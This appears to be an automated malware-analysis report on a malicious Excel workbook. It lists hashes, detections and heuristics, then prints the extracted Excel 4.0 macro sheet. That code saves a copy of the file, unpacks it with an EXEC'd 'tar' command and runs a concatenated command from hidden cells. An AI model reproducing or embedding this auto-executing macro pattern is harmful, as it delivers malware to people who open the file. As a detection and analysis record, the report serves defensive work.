Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 87b9b0ae4608ab40…

MALICIOUS

Office (OOXML)

593.3 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-22
MD5: da26e98aebeafc6e6e5767657a104fa6 SHA-1: e58a02fa70d6d3bab39476e03f9ce0b076fca1d1 SHA-256: 87b9b0ae4608ab40611a14ba2ba33654baae51ef6cf46cfa01b8ded756cd82fa
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

This Excel file contains Excel 4.0 macros, which are known to be used for malicious purposes. The macros utilize dangerous functions like EXEC and SAVE.COPY.AS, indicating an attempt to download and execute a payload. The presence of these functions and the detection by ClamAV strongly suggest a downloader functionality.

Heuristics 6

  • ClamAV: Xls.Downloader.GreenEnable052-9863734-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.GreenEnable052-9863734-1
  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 2 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 2472 bytes
SHA-256: ff1734ec2098b716792e5cfacd8b495899f0f9820516f5553a76fc028d540863
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="AG701:AO716"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="10.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="32" width="10.42578125" style="3"/><col min="33" max="33" width="10.42578125" style="3" customWidth="1"/><col min="34" max="36" width="10.42578125" style="2" hidden="1" customWidth="1"/><col min="37" max="37" width="11.7109375" style="2" hidden="1" customWidth="1"/><col min="38" max="41" width="10.42578125" style="2" hidden="1" customWidth="1"/><col min="42" max="16384" width="10.42578125" style="3"/></cols><sheetData><row r="701" spans="37:38" x14ac:dyDescent="0.25"><c r="AK701" s="2" t="b"><f>SAVE.COPY.AS("..\Nioka.meposv")</f><v>0</v></c><c r="AL701" s="2" t="s"><v>2</v></c></row><row r="702" spans="37:38" x14ac:dyDescent="0.25"><c r="AL702" s="2" t="s"><v>0</v></c></row><row r="703" spans="37:38" x14ac:dyDescent="0.25"><c r="AK703" s="2" t="b"><f>EXEC("tar -xf ..\Nioka.meposv -C ..\")=PI()=PI()=PI()</f><v>0</v></c><c r="AL703" s="2" t="s"><v>1</v></c></row><row r="706" spans="37:37" x14ac:dyDescent="0.25"><c r="AK706" s="2" t="b"><f>WAIT(NOW()+"00:00:06")</f><v>0</v></c></row><row r="711" spans="37:37" x14ac:dyDescent="0.25"><c r="AK711" s="2" t="b"><f>PI()=PI()=PI()=EXEC(AL701&amp;AL702&amp;AL703)=PI()=PI()=PI()</f><v>0</v></c></row><row r="716" spans="37:37" x14ac:dyDescent="0.25"><c r="AK716" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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